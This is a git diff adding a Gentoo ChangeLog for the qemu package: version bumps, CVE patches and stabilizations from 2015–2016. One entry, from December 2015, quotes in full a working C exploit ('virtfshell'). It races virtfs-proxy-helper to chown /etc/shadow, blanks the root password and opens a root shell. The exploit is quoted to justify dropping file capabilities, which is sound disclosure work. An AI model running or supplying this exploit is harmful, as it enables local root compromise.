diff --git a/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/ChangeLog b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/ChangeLog new file mode 100644 index 0000000000..643d1485ed --- /dev/null +++ b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/ChangeLog @@ -0,0 +1,792 @@ +# ChangeLog for app-emulation/qemu +# Copyright 1999-2016 Gentoo Foundation; Distributed under the GPL v2 +# (auto-generated from git log) + +*qemu-9999 (09 Aug 2015) +*qemu-2.3.0-r5 (09 Aug 2015) +*qemu-2.3.0-r4 (09 Aug 2015) + + 09 Aug 2015; Robin H. Johnson +files/65-kvm.rules, + +files/bridge.conf, +files/qemu-1.7.0-cflags.patch, + +files/qemu-2.2.1-CVE-2015-1779-1.patch, + +files/qemu-2.2.1-CVE-2015-1779-2.patch, + +files/qemu-2.3.0-CVE-2015-3209.patch, + +files/qemu-2.3.0-CVE-2015-3214.patch, + +files/qemu-2.3.0-CVE-2015-3456.patch, + +files/qemu-2.3.0-CVE-2015-5154-1.patch, + +files/qemu-2.3.0-CVE-2015-5154-2.patch, + +files/qemu-2.3.0-CVE-2015-5154-3.patch, + +files/qemu-2.3.0-CVE-2015-5158.patch, + +files/qemu-2.3.0-CVE-2015-5165-1.patch, + +files/qemu-2.3.0-CVE-2015-5165-2.patch, + +files/qemu-2.3.0-CVE-2015-5165-3.patch, + +files/qemu-2.3.0-CVE-2015-5165-4.patch, + +files/qemu-2.3.0-CVE-2015-5165-5.patch, + +files/qemu-2.3.0-CVE-2015-5165-6.patch, + +files/qemu-2.3.0-CVE-2015-5165-7.patch, + +files/qemu-2.3.0-CVE-2015-5166.patch, +files/qemu-binfmt.initd-r1, + +metadata.xml, +qemu-2.3.0-r4.ebuild, +qemu-2.3.0-r5.ebuild, + +qemu-9999.ebuild: + proj/gentoo: Initial commit + + This commit represents a new era for Gentoo: + Storing the gentoo-x86 tree in Git, as converted from CVS. + + This commit is the start of the NEW history. + Any historical data is intended to be grafted onto this point. + + Creation process: + 1. Take final CVS checkout snapshot + 2. Remove ALL ChangeLog* files + 3. Transform all Manifests to thin + 4. Remove empty Manifests + 5. Convert all stale $Header$/$Id$ CVS keywords to non-expanded Git $Id$ + 5.1. Do not touch files with -kb/-ko keyword flags. + + Signed-off-by: Robin H. Johnson + X-Thanks: Alec Warner - did the GSoC 2006 migration + tests + X-Thanks: Robin H. Johnson - infra guy, herding this + project + X-Thanks: Nguyen Thai Ngoc Duy - Former Gentoo + developer, wrote Git features for the migration + X-Thanks: Brian Harring - wrote much python to improve + cvs2svn + X-Thanks: Rich Freeman - validation scripts + X-Thanks: Patrick Lauer - Gentoo dev, running new 2014 + work in migration + X-Thanks: Michał Górny - scripts, QA, nagging + X-Thanks: All of other Gentoo developers - many ideas and lots of paint on + the bikeshed + +*qemu-2.3.0-r6 (10 Aug 2015) + + 10 Aug 2015; Mike Frysinger + +files/qemu-2.3.0-virtio-serial.patch, +qemu-2.3.0-r6.ebuild: + qemu: fix from upstream for virtio-serial security issue #557206 + + 10 Aug 2015; Mike Frysinger qemu-2.3.0-r6.ebuild: + qemu: do not put directly into stable + +*qemu-2.3.1 (12 Aug 2015) + + 12 Aug 2015; Mike Frysinger +qemu-2.3.1.ebuild: + qemu: version bump to 2.3.1 + +*qemu-2.4.0 (12 Aug 2015) + + 12 Aug 2015; Mike Frysinger +qemu-2.4.0.ebuild: + qemu: version bump to 2.4.0 + + 14 Aug 2015; Mike Frysinger qemu-2.4.0.ebuild, + qemu-9999.ebuild: + depend on libepoxy for USE=opengl #557488 + + 14 Aug 2015; Mike Frysinger qemu-2.4.0.ebuild, + qemu-9999.ebuild: + move more deps to softmmu-only case + + These packages are only used when building softmmu binaries, so don't try + pulling them in when the user is building tools or user binaries. + + 14 Aug 2015; Mike Frysinger qemu-2.3.0-r4.ebuild, + qemu-2.3.0-r5.ebuild, qemu-2.3.0-r6.ebuild, qemu-2.3.1.ebuild, + qemu-2.4.0.ebuild, qemu-9999.ebuild: + switch to virtual/libusb to quiet repoman + + Now that the virtual requires the latest libusb, we can switch to that + rather than depending directly on libusb's version. + + 16 Aug 2015; Justin Lecher metadata.xml, + qemu-2.3.0-r4.ebuild, qemu-2.3.0-r5.ebuild, qemu-2.3.0-r6.ebuild, + qemu-2.3.1.ebuild, qemu-2.4.0.ebuild, qemu-9999.ebuild: + Use slot operators for ncurses + + Package-Manager: portage-2.2.20.1 + Signed-off-by: Justin Lecher + + 24 Aug 2015; Justin Lecher metadata.xml, + qemu-2.3.0-r4.ebuild, qemu-2.3.0-r5.ebuild, qemu-2.3.0-r6.ebuild, + qemu-2.3.1.ebuild, qemu-2.4.0.ebuild, qemu-9999.ebuild: + Use https by default + + Convert all URLs for sites supporting encrypted connections from http to + https + + Signed-off-by: Justin Lecher + + 24 Aug 2015; Mike Gilbert metadata.xml: + Revert DOCTYPE SYSTEM https changes in metadata.xml + + repoman does not yet accept the https version. + This partially reverts eaaface92ee81f30a6ac66fe7acbcc42c00dc450. + + Bug: https://bugs.gentoo.org/552720 + + 26 Aug 2015; Mike Frysinger qemu-2.3.0-r4.ebuild, + qemu-2.3.0-r5.ebuild, qemu-2.3.0-r6.ebuild, qemu-2.3.1.ebuild, + qemu-2.4.0.ebuild, qemu-9999.ebuild: + sys-libs/ncurses: move to SLOT=0 #557472 + + Use SLOT=0 for installing of main development files like other packages + so we can use other SLOTs for installing SONAME libs for binary packages. + + 28 Aug 2015; Manuel Rüger -qemu-2.3.0-r4.ebuild: + Remove vulnerable + + Package-Manager: portage-2.2.20.1 + + 07 Sep 2015; Mike Frysinger qemu-9999.ebuild: + add new targets + + 07 Sep 2015; Mike Frysinger qemu-9999.ebuild: + update seabios pin to version 1.8.2 + + 07 Sep 2015; Mike Frysinger qemu-9999.ebuild: + add target sanity checks + + This way we know up front when a new target appears rather than when + someone happens to check & notice. + +*qemu-2.4.0-r1 (07 Sep 2015) + + 07 Sep 2015; Mike Frysinger + +files/qemu-2.4.0-CVE-2015-5225.patch, + +files/qemu-2.4.0-block-mirror-crash.patch, + +files/qemu-2.4.0-e1000-loop.patch, -qemu-2.4.0.ebuild, + +qemu-2.4.0-r1.ebuild: + various fixes/updates + + Sync in the updates from the 9999 ebuild: + - updated seabios pin + - add new targets + - add sanity checks for targets + + Add fix from upstream for blockcommit crashes #558396. + + Add fix from upstream for CVE-2015-5225 #558416. + + Add fix posted upstream (but not yet merged) for e1000 infinite loop + #559656. + + 08 Sep 2015; Agostino Sarubbo qemu-2.4.0-r1.ebuild: + amd64 stable wrt bug #558416 + + Package-Manager: portage-2.2.20.1 + RepoMan-Options: --include-arches="amd64" + + 08 Sep 2015; Agostino Sarubbo qemu-2.4.0-r1.ebuild: + x86 stable wrt bug #558416 + + Package-Manager: portage-2.2.20.1 + RepoMan-Options: --include-arches="x86" + + 11 Sep 2015; Mike Frysinger qemu-2.4.0-r1.ebuild, + qemu-9999.ebuild: + require mesa[egl] too + + Upstream commit 7ced9e9f6da2257224591b91727cfeee4f3977fb made the egl + layer of mesa a requirement. + + 16 Sep 2015; Mike Frysinger qemu-9999.ebuild: + switch USE=tls to USE=gnutls #560574 + + Upstream no longer has dedicated configuration options for tls settings. + Instead, it's all run through the gnutls feature test. + + We require newer versions of gnutls because supporting older ones gets a + bit messy -- qemu might leverage libgcrypt or nettle depending on how the + gnutls package was built. By forcing the latest version, we can simplify + and only require nettle. This isn't a big deal as it's already stable. + + 26 Sep 2015; Mike Frysinger qemu-9999.ebuild: + add tilegx linux-user target #561322 + + 29 Sep 2015; Mike Frysinger qemu-9999.ebuild: + update smartcard configure flag #561670 + +*qemu-2.4.0.1 (10 Oct 2015) + + 10 Oct 2015; Mike Frysinger + +files/qemu-2.4.0-CVE-2015-6855.patch, + +files/qemu-2.4.0-CVE-2015-7295-1.patch, + +files/qemu-2.4.0-CVE-2015-7295-2.patch, + +files/qemu-2.4.0-CVE-2015-7295-3.patch, +qemu-2.4.0.1.ebuild: + version bump to 2.4.0.1 #562594 + + This also includes security fixes for #560760 #560550 #560422. + +*qemu-2.4.0.1-r1 (15 Oct 2015) + + 15 Oct 2015; Markos Chandras + +files/qemu-2.4-mips-fix-mtc0.patch, +files/qemu-2.4-mips-fix-rdhwr.patch, + +files/qemu-2.4-mips-move-interrupts-new-func.patch, + +files/qemu-2.4-mips-wake-up-on-irq.patch, +qemu-2.4.0.1-r1.ebuild: + Backport a few MIPS patches. Bug #563162 + + Package-Manager: portage-2.2.23 + + 26 Oct 2015; Mike Frysinger qemu-9999.ebuild: + update qmp doc paths #564186 + +*qemu-2.4.1 (06 Nov 2015) + + 06 Nov 2015; Mike Frysinger +qemu-2.4.1.ebuild: + version bump to 2.4.1 #564990 + + 07 Nov 2015; Mike Frysinger qemu-2.4.0-r1.ebuild, + qemu-2.4.0.1.ebuild, qemu-2.4.0.1-r1.ebuild, qemu-2.4.1.ebuild, + qemu-9999.ebuild: + force C locale for sorting to workaround glibc bug #564936 + + 23 Nov 2015; Mike Frysinger + +files/qemu-2.5.0-cflags.patch, qemu-9999.ebuild: + update cflags patch #565866 + + 07 Dec 2015; Doug Goldstein qemu-2.3.0-r5.ebuild, + qemu-2.3.0-r6.ebuild, qemu-2.3.1.ebuild, qemu-2.4.0-r1.ebuild, + qemu-2.4.0.1.ebuild, qemu-2.4.0.1-r1.ebuild, qemu-2.4.1.ebuild, + qemu-9999.ebuild: + utilize xen-tools sub-slot + + app-emulation/xen-tools now exposes a sub-slot to help dependencies + rebuild when necessary. + + Signed-off-by: Doug Goldstein + +*qemu-2.4.1-r1 (08 Dec 2015) + + 08 Dec 2015; Mike Frysinger + +files/qemu-2.4.1-CVE-2015-7504.patch, + +files/qemu-2.4.1-CVE-2015-7512.patch, + +files/qemu-2.4.1-CVE-2015-8345.patch, +qemu-2.4.1-r1.ebuild: + add upstream security fixes #566792 #567144 + + 08 Dec 2015; Mike Frysinger metadata.xml, + qemu-9999.ebuild: + add USE=virgl for Virgil 3d GPU #566994 + + 08 Dec 2015; Mike Frysinger qemu-9999.ebuild: + switch to new libcacard release #561814 + +*qemu-2.4.0.1-r2 (14 Dec 2015) +*qemu-2.4.0-r2 (14 Dec 2015) +*qemu-2.3.1-r1 (14 Dec 2015) +*qemu-2.3.0-r7 (14 Dec 2015) + + 14 Dec 2015; Jason A. Donenfeld +qemu-2.3.0-r7.ebuild, + +qemu-2.3.1-r1.ebuild, +qemu-2.4.0-r2.ebuild, +qemu-2.4.0.1-r2.ebuild: + critical security fix + + The virtfs-proxy-helper program is not a safe binary to give caps. + The following exploit code demonstrates the vulnerability: + + ~=~=~=~= snip ~=~=~=~= + + /* == virtfshell == + * + * Some distributions make virtfs-proxy-helper from QEMU either SUID or + * give it CAP_CHOWN fs capabilities. This is a terrible idea. While + * virtfs-proxy-helper makes some sort of flimsy check to make sure + * its socket path doesn't already exist, it is vulnerable to TOCTOU. + * + * This should spawn a root shell eventually on vulnerable systems. + * + * - zx2c4 + * 2015-12-12 + * + * + * zx2c4@thinkpad ~ $ lsb_release -i + * Distributor ID: Gentoo + * zx2c4@thinkpad ~ $ ./virtfshell + * == Virtfshell - by zx2c4 == + * [+] Beginning race loop + * [+] Chown'd /etc/shadow, elevating to root + * [+] Cleaning up + * [+] Spawning root shell + * thinkpad zx2c4 # whoami + * root + * + */ + + #include + #include + #include + #include + #include + #include + #include + #include + + static int it_worked(void) + { + struct stat sbuf = { 0 }; + stat("/etc/shadow", &sbuf); + return sbuf.st_uid == getuid() && sbuf.st_gid == getgid(); + } + + int main(int argc, char **argv) + { + int fd; + pid_t pid; + char uid[12], gid[12]; + + sprintf(uid, "%d", getuid()); + sprintf(gid, "%d", getgid()); + + printf("== Virtfshell - by zx2c4 ==\n"); + + printf("[+] Beginning race loop\n"); + + while (!it_worked()) { + fd = inotify_init(); + unlink("/tmp/virtfshell/sock"); + mkdir("/tmp/virtfshell", 0777); + inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE); + pid = fork(); + if (!pid) { + close(0); + close(1); + close(2); + execlp("virtfs-proxy-helper", "virtfs-proxy-helper", + "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", + NULL); + _exit(1); + } + read(fd, 0, 0); + unlink("/tmp/virtfshell/sock"); + symlink("/etc/shadow", "/tmp/virtfshell/sock"); + close(fd); + kill(pid, SIGKILL); + wait(NULL); + } + + printf("[+] Chown'd /etc/shadow, elevating to root\n"); + + system( "cp /etc/shadow /tmp/original_shadow;" + "sed 's/^root:.*/root::::::::/' /etc/shadow > + /tmp/modified_shadow;" + "cat /tmp/modified_shadow > /etc/shadow;" + "su -c '" + " echo [+] Cleaning up;" + " cat /tmp/original_shadow > /etc/shadow;" + " chown root:root /etc/shadow;" + " rm /tmp/modified_shadow /tmp/original_shadow;" + " echo [+] Spawning root shell;" + " exec /bin/bash -i" + "'"); + return 0; + } + + 15 Dec 2015; Mike Frysinger qemu-2.3.0-r5.ebuild, + qemu-2.3.0-r6.ebuild, qemu-2.3.1.ebuild, qemu-2.4.0-r1.ebuild, + qemu-2.4.0.1.ebuild, qemu-2.4.0.1-r1.ebuild, qemu-2.4.1.ebuild, + qemu-2.4.1-r1.ebuild, qemu-9999.ebuild: + drop virtfs-proxy-helper fcaps from all versions #568226 + +*qemu-2.4.1-r2 (15 Dec 2015) + + 15 Dec 2015; Mike Frysinger + +files/qemu-2.4.1-CVE-2015-7549.patch, + +files/qemu-2.4.1-CVE-2015-8504.patch, +qemu-2.4.1-r2.ebuild: + add upstream fixes for #567828 #568214 + + 16 Dec 2015; Agostino Sarubbo qemu-2.4.1-r2.ebuild: + amd64 stable wrt bug #567828 + + Package-Manager: portage-2.2.24 + RepoMan-Options: --include-arches="amd64" + Signed-off-by: Agostino Sarubbo + + 16 Dec 2015; Agostino Sarubbo qemu-2.4.1-r2.ebuild: + x86 stable wrt bug #567828 + + Package-Manager: portage-2.2.24 + RepoMan-Options: --include-arches="x86" + Signed-off-by: Agostino Sarubbo + +*qemu-2.5.0 (17 Dec 2015) + + 17 Dec 2015; Mike Frysinger +qemu-2.5.0.ebuild: + version bump to 2.5.0 + + 17 Dec 2015; Mike Frysinger + -files/qemu-2.2.1-CVE-2015-1779-1.patch, + -files/qemu-2.2.1-CVE-2015-1779-2.patch, + -files/qemu-2.3.0-CVE-2015-3209.patch, + -files/qemu-2.3.0-CVE-2015-3214.patch, + -files/qemu-2.3.0-CVE-2015-3456.patch, + -files/qemu-2.3.0-CVE-2015-5154-1.patch, + -files/qemu-2.3.0-CVE-2015-5154-2.patch, + -files/qemu-2.3.0-CVE-2015-5154-3.patch, + -files/qemu-2.3.0-CVE-2015-5158.patch, + -files/qemu-2.3.0-CVE-2015-5165-1.patch, + -files/qemu-2.3.0-CVE-2015-5165-2.patch, + -files/qemu-2.3.0-CVE-2015-5165-3.patch, + -files/qemu-2.3.0-CVE-2015-5165-4.patch, + -files/qemu-2.3.0-CVE-2015-5165-5.patch, + -files/qemu-2.3.0-CVE-2015-5165-6.patch, + -files/qemu-2.3.0-CVE-2015-5165-7.patch, + -files/qemu-2.3.0-CVE-2015-5166.patch, + -files/qemu-2.3.0-virtio-serial.patch, + -files/qemu-2.4.0-CVE-2015-5225.patch, + -files/qemu-2.4.0-CVE-2015-6855.patch, + -files/qemu-2.4.0-CVE-2015-7295-1.patch, + -files/qemu-2.4.0-CVE-2015-7295-2.patch, + -files/qemu-2.4.0-CVE-2015-7295-3.patch, + -files/qemu-2.4.0-block-mirror-crash.patch, + -files/qemu-2.4.0-e1000-loop.patch, -qemu-2.3.0-r5.ebuild, + -qemu-2.3.0-r6.ebuild, -qemu-2.3.0-r7.ebuild, -qemu-2.3.1.ebuild, + -qemu-2.3.1-r1.ebuild, -qemu-2.4.0-r1.ebuild, -qemu-2.4.0-r2.ebuild, + -qemu-2.4.0.1.ebuild, -qemu-2.4.0.1-r1.ebuild, -qemu-2.4.0.1-r2.ebuild, + -qemu-2.4.1.ebuild, -qemu-2.4.1-r1.ebuild: + drop versions <2.4.1-r2 + + 20 Dec 2015; Mike Frysinger qemu-2.5.0.ebuild, + qemu-9999.ebuild: + disable libgcrypt usage #568856 + +*qemu-2.5.0-r1 (18 Jan 2016) + + 18 Jan 2016; Mike Frysinger + +files/qemu-2.5.0-CVE-2015-8558.patch, + +files/qemu-2.5.0-CVE-2015-8567.patch, + +files/qemu-2.5.0-CVE-2015-8701.patch, + +files/qemu-2.5.0-CVE-2015-8743.patch, + +files/qemu-2.5.0-CVE-2016-1568.patch, +qemu-2.5.0-r1.ebuild: + add upstream fixes for #567868 #568246 #570110 #570988 #571566 + + 24 Jan 2016; Michał Górny metadata.xml: + Replace all herds with appropriate projects (GLEP 67) + + Replace all uses of herd with appropriate project maintainers, or no + maintainers in case of herds requested to be disbanded. + + 24 Jan 2016; Michał Górny metadata.xml: + Set appropriate maintainer types in metadata.xml (GLEP 67) + + 26 Jan 2016; Agostino Sarubbo qemu-2.5.0-r1.ebuild: + amd64 stable wrt bug #571566 + + Package-Manager: portage-2.2.26 + RepoMan-Options: --include-arches="amd64" + Signed-off-by: Agostino Sarubbo + + 26 Jan 2016; Agostino Sarubbo qemu-2.5.0-r1.ebuild: + x86 stable wrt bug #571566 + + Package-Manager: portage-2.2.26 + RepoMan-Options: --include-arches="x86" + Signed-off-by: Agostino Sarubbo + + 15 Feb 2016; Doug Goldstein + -files/qemu-1.7.0-cflags.patch, -files/qemu-2.4-mips-fix-mtc0.patch, + -files/qemu-2.4-mips-fix-rdhwr.patch, + -files/qemu-2.4-mips-move-interrupts-new-func.patch, + -files/qemu-2.4-mips-wake-up-on-irq.patch, + -files/qemu-2.4.1-CVE-2015-7504.patch, + -files/qemu-2.4.1-CVE-2015-7512.patch, + -files/qemu-2.4.1-CVE-2015-7549.patch, + -files/qemu-2.4.1-CVE-2015-8345.patch, + -files/qemu-2.4.1-CVE-2015-8504.patch, -qemu-2.4.1-r2.ebuild, + -qemu-2.5.0.ebuild: + remove vulnerable versions + + Package-Manager: portage-2.2.26 + Signed-off-by: Doug Goldstein + + 15 Feb 2016; Patrick Lauer metadata.xml: + Remove unneeded useflag description from metadata.xml + + Package-Manager: portage-2.2.27 + + 19 Feb 2016; Robin H. Johnson metadata.xml: + restore USE=gnutls use desc for side-effects + + commit ea4d1e1fcc just removed the USE=tls, rather than updating it for + USE=gnutls. Per the description, it has side-effects of enabling + enabling WebSocket & disk quorum features. + + Package-Manager: portage-2.2.27 + + 28 Feb 2016; Doug Goldstein qemu-2.5.0-r1.ebuild: + fix arm64 dependencies + + arm/arm64 have some dependencies which are higher than other platforms. + Unfortunately the dependencies are not stable on arm but this package is + so arm updates will come later. + + Package-Manager: portage-2.2.26 + Signed-off-by: Doug Goldstein + + 28 Feb 2016; Matthew Thode qemu-2.5.0-r1.ebuild: + keywording arm64 + + merged on X-C1 + + Package-Manager: portage-2.2.26 + + 15 Mar 2016; Doug Goldstein qemu-2.5.0-r1.ebuild: + fix arm depends for libseccomp + + arm needs libseccomp 2.2.3 or newer for QEMU to be able to utilize it. + + Package-Manager: portage-2.2.26 + Signed-off-by: Doug Goldstein + +*qemu-2.5.0-r2 (23 Mar 2016) + + 23 Mar 2016; Mike Frysinger + +files/qemu-2.5.0-CVE-2015-8613.patch, + +files/qemu-2.5.0-CVE-2015-8619.patch, + +files/qemu-2.5.0-CVE-2016-1714.patch, + +files/qemu-2.5.0-CVE-2016-1922.patch, + +files/qemu-2.5.0-CVE-2016-1981.patch, + +files/qemu-2.5.0-CVE-2016-2197.patch, + +files/qemu-2.5.0-CVE-2016-2198.patch, + +files/qemu-2.5.0-CVE-2016-2392.patch, + +files/qemu-2.5.0-rng-stack-corrupt-0.patch, + +files/qemu-2.5.0-rng-stack-corrupt-1.patch, + +files/qemu-2.5.0-rng-stack-corrupt-2.patch, + +files/qemu-2.5.0-rng-stack-corrupt-3.patch, + +files/qemu-2.5.0-sysmacros.patch, +files/qemu-2.5.0-usb-ehci-oob.patch, + +files/qemu-2.5.0-usb-ndis-int-overflow.patch, +qemu-2.5.0-r2.ebuild: + backport various upstream fixes + + 24 Mar 2016; Agostino Sarubbo qemu-2.5.0-r2.ebuild: + amd64 stable wrt bug #578044 + + Package-Manager: portage-2.2.26 + RepoMan-Options: --include-arches="amd64" + Signed-off-by: Agostino Sarubbo + + 24 Mar 2016; Agostino Sarubbo qemu-2.5.0-r2.ebuild: + x86 stable wrt bug #578044 + + Package-Manager: portage-2.2.26 + RepoMan-Options: --include-arches="x86" + Signed-off-by: Agostino Sarubbo + + 25 Mar 2016; Sergey Popov -qemu-2.5.0-r1.ebuild: + security cleanup + + Gentoo-Bug: 576420 + + Package-Manager: portage-2.2.28 + + 28 Mar 2016; Mike Frysinger qemu-2.5.0-r2.ebuild, + qemu-9999.ebuild: + use l10n.eclass to respect LINGUAS #577814 + +*qemu-2.5.0-r3 (28 Mar 2016) + + 28 Mar 2016; Mike Frysinger + +files/qemu-2.5.0-9pfs-segfault.patch, + +files/qemu-2.5.0-ne2000-reg-check.patch, +qemu-2.5.0-r3.ebuild: + add few more upstream fixes #573816 #578142 + + 29 Mar 2016; Agostino Sarubbo qemu-2.5.0-r3.ebuild: + amd64 stable wrt bug #573816 + + Package-Manager: portage-2.2.26 + RepoMan-Options: --include-arches="amd64" + Signed-off-by: Agostino Sarubbo + + 29 Mar 2016; Agostino Sarubbo qemu-2.5.0-r3.ebuild: + x86 stable wrt bug #573816 + + Package-Manager: portage-2.2.26 + RepoMan-Options: --include-arches="x86" + Signed-off-by: Agostino Sarubbo + + 20 Apr 2016; Mike Frysinger qemu-2.5.0-r3.ebuild, + qemu-9999.ebuild: + mention /dev/kvm perm updates in the readme/elog #580436 + +*qemu-2.5.1 (23 Apr 2016) + + 23 Apr 2016; Mike Frysinger + +files/qemu-2.5.1-CVE-2015-8558.patch, + +files/qemu-2.5.1-CVE-2016-4020.patch, + +files/qemu-2.5.1-stellaris_enet-overflow.patch, +qemu-2.5.1.ebuild: + app-misc/qemu: version bump & bug fixes #579614 #580040 #580426 + + 12 May 2016; Mike Frysinger qemu-2.5.1.ebuild, + qemu-9999.ebuild: + use subslots w/nettle & gnutls #582836 + +*qemu-2.6.0 (17 May 2016) + + 17 May 2016; Mike Frysinger +qemu-2.6.0.ebuild, + qemu-9999.ebuild: + version bump to 2.6.0 #583212 + + 17 May 2016; Mike Frysinger + +files/qemu-2.5.1-xfs-linux-headers.patch, qemu-2.5.1.ebuild: + workaround breakage in xfs/linux headers #577810 + + Add upstream patch to workaround some combinations of xfsprogs & linux + headers so we don't have to worry about stable breakage anymore. This + fix is already in upstream & unstable versions. + + 18 May 2016; Austin English + files/qemu-binfmt.initd-r1: + use #!/sbin/openrc-run instead of #!/sbin/runscript + + 06 Jun 2016; Mike Frysinger qemu-2.5.0-r2.ebuild, + qemu-2.5.0-r3.ebuild, qemu-2.5.1.ebuild, qemu-2.6.0.ebuild, + qemu-9999.ebuild: + depend on jpeg SLOT=0 for building + + 07 Jun 2016; Mike Frysinger + +files/qemu-2.6.0-crypto-static.patch, qemu-2.6.0.ebuild, qemu-9999.ebuild: + fix static linking errors w/curl[ssl,curl_ssl_openssl] + + 21 Jun 2016; Mike Frysinger qemu-9999.ebuild: + drop kvm_stat to match upstream #586158 + + 29 Jun 2016; Alexey Shvetsov qemu-2.5.0-r2.ebuild, + qemu-2.5.0-r3.ebuild, qemu-2.5.1.ebuild, qemu-2.6.0.ebuild, + qemu-9999.ebuild: + adapt sys-infiniband to sys-fabric rename + + Package-Manager: portage-2.3.0_rc1 + + 01 Aug 2016; Mike Frysinger qemu-2.5.1.ebuild, + qemu-2.6.0.ebuild, qemu-9999.ebuild: + handle bzip2 dep #589968 + + The block layer uses it to support bzip2 compression in dmg images. + That code makes it into softmmu binaries and userland utils. + + 07 Aug 2016; Luca Barbato + +files/qemu-2.6.0-glib-size_t.patch, qemu-2.6.0.ebuild: + Drop a -Werror when it could cause a false positive + + The check code could trigger recent compiler warnings. + + Package-Manager: portage-2.2.26 + + 15 Aug 2016; Luca Barbato files/qemu-binfmt.initd-r1: + Update ppc magic mask + + Unbreak using qemu-user with current stage3. + + Package-Manager: portage-2.3.0 + + 21 Aug 2016; Luca Barbato qemu-9999.ebuild: + Update the languages list + + Package-Manager: portage-2.3.0 + + 21 Aug 2016; Luca Barbato qemu-9999.ebuild: + Drop a patch + + It is already upstreamed. + + Package-Manager: portage-2.3.0 + + 05 Sep 2016; Matthias Maier -qemu-2.5.0-r2.ebuild, + -qemu-2.5.0-r3.ebuild: + remove vulnerable 2.5.0 + + Package-Manager: portage-2.2.28 + +*qemu-2.7.0 (05 Sep 2016) + + 05 Sep 2016; Matthias Maier +qemu-2.7.0.ebuild: + version bump to 2.7.0, various security fixes + + 3af9187fc6caaf415ab9c0c6d92c9678f65cb17f -> CVE-2016-4001, bug #579734 + 3a15cc0e1ee7168db0782133d2607a6bfa422d66 -> CVE-2016-4002, bug #579734 + c98c6c105f66f05aa0b7c1d2a4a3f716450907ef -> CVE-2016-4439, bug #583496 + 6c1fef6b59563cc415f21e03f81539ed4b33ad90 -> CVE-2016-4441, bug #583496 + 06630554ccbdd25780aa03c3548aaff1eb56dffd -> , bug #583952 + 844864fbae66935951529408831c2f22367a57b6 -> CVE-2016-5337, bug #584094 + b60bdd1f1ee1616b7a9aeeffb4088e1ce2710fb2 -> , bug #584102 + 1b85898025c4cd95dce673d15e67e60e98e91731 -> , bug #584146 + 521360267876d3b6518b328051a2e56bca55bef8 -> CVE-2016-4453, bug #584514 + 4e68a0ee17dad7b8d870df0081d4ab2e079016c2 -> CVE-2016-4454, bug #584514 + a6b3167fa0e825aebb5a7cd8b437b6d41584a196 -> CVE-2016-5126, bug #584630 + ff589551c8e8e9e95e211b9d8daafb4ed39f1aec -> CVE-2016-5338, bug #584918 + d3cdc49138c30be1d3c2f83d18f85d9fdee95f1a -> CVE-2016-5238, bug #584918 + 1e7aed70144b4673fc26e73062064b6724795e5f -> , bug #589924 + afd9096eb1882f23929f5b5c177898ed231bac66 -> CVE-2016-5403, bug #589928 + eb700029c7836798046191d62d595363d92c84d4 -> CVE-2016-6835, bug #591244 + ead315e43ea0c2ca3491209c6c8db8ce3f2bbe05 -> CVE-2016-6834, bug #591374 + 6c352ca9b4ee3e1e286ea9e8434bd8e69ac7d0d8 -> CVE-2016-6833, bug #591380 + 47882fa4975bf0b58dd74474329fdd7154e8f04c -> CVE-2016-6888, bug #591678 + + 805b5d98c649d26fc44d2d7755a97f18e62b438a + 56f101ecce0eafd09e2daf1c4eeb1377d6959261 + fff39a7ad09da07ef490de05c92c91f22f8002f2 -> , bug #592430 + + Package-Manager: portage-2.2.28 + + 05 Sep 2016; Matthias Maier + +files/qemu-2.7.0-CVE-2016-6836.patch, qemu-2.7.0.ebuild: + apply patch for CVE-2016-6836, bug #591242 + + Package-Manager: portage-2.2.28 + + 05 Sep 2016; Matthias Maier -qemu-2.6.0.ebuild, + qemu-2.7.0.ebuild: + drop vulnerable 2.6.0 + + Package-Manager: portage-2.2.28 + + 05 Sep 2016; Matthias Maier + -files/qemu-2.5.0-9pfs-segfault.patch, + -files/qemu-2.5.0-CVE-2015-8567.patch, + -files/qemu-2.5.0-CVE-2015-8613.patch, + -files/qemu-2.5.0-CVE-2015-8619.patch, + -files/qemu-2.5.0-CVE-2015-8701.patch, + -files/qemu-2.5.0-CVE-2015-8743.patch, + -files/qemu-2.5.0-CVE-2016-1568.patch, + -files/qemu-2.5.0-CVE-2016-1714.patch, + -files/qemu-2.5.0-CVE-2016-1922.patch, + -files/qemu-2.5.0-CVE-2016-1981.patch, + -files/qemu-2.5.0-CVE-2016-2197.patch, + -files/qemu-2.5.0-CVE-2016-2392.patch, + -files/qemu-2.5.0-ne2000-reg-check.patch, + -files/qemu-2.5.0-usb-ehci-oob.patch, + -files/qemu-2.5.0-usb-ndis-int-overflow.patch, + -files/qemu-2.6.0-crypto-static.patch, -files/qemu-2.6.0-glib-size_t.patch: + drop obsolete patches + + Package-Manager: portage-2.2.28 + + 05 Sep 2016; Matthias Maier qemu-2.7.0.ebuild: + fix installation with USE=python, bug #592908 + + Package-Manager: portage-2.2.28 + + 05 Sep 2016; Agostino Sarubbo qemu-2.7.0.ebuild: + amd64 stable wrt bug #592430 + + Package-Manager: portage-2.2.28 + RepoMan-Options: --include-arches="amd64" + Signed-off-by: Agostino Sarubbo + + 05 Sep 2016; Agostino Sarubbo qemu-2.7.0.ebuild: + x86 stable wrt bug #592430 + + Package-Manager: portage-2.2.28 + RepoMan-Options: --include-arches="x86" + Signed-off-by: Agostino Sarubbo + + 05 Sep 2016; Matthias Maier + -files/qemu-2.5.0-CVE-2015-8558.patch, + -files/qemu-2.5.0-CVE-2016-2198.patch, + -files/qemu-2.5.0-rng-stack-corrupt-0.patch, + -files/qemu-2.5.0-rng-stack-corrupt-1.patch, + -files/qemu-2.5.0-rng-stack-corrupt-2.patch, + -files/qemu-2.5.0-rng-stack-corrupt-3.patch, + -files/qemu-2.5.1-CVE-2015-8558.patch, + -files/qemu-2.5.1-CVE-2016-4020.patch, + -files/qemu-2.5.1-stellaris_enet-overflow.patch, + -files/qemu-2.5.1-xfs-linux-headers.patch, -qemu-2.5.1.ebuild: + drop vulnerable 2.5.1, bug #592430, and 19 others + + Package-Manager: portage-2.2.28 + diff --git a/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/ChangeLog-2015 b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/ChangeLog-2015 new file mode 100644 index 0000000000..39dc818666 --- /dev/null +++ b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/ChangeLog-2015 @@ -0,0 +1,1536 @@ +# ChangeLog 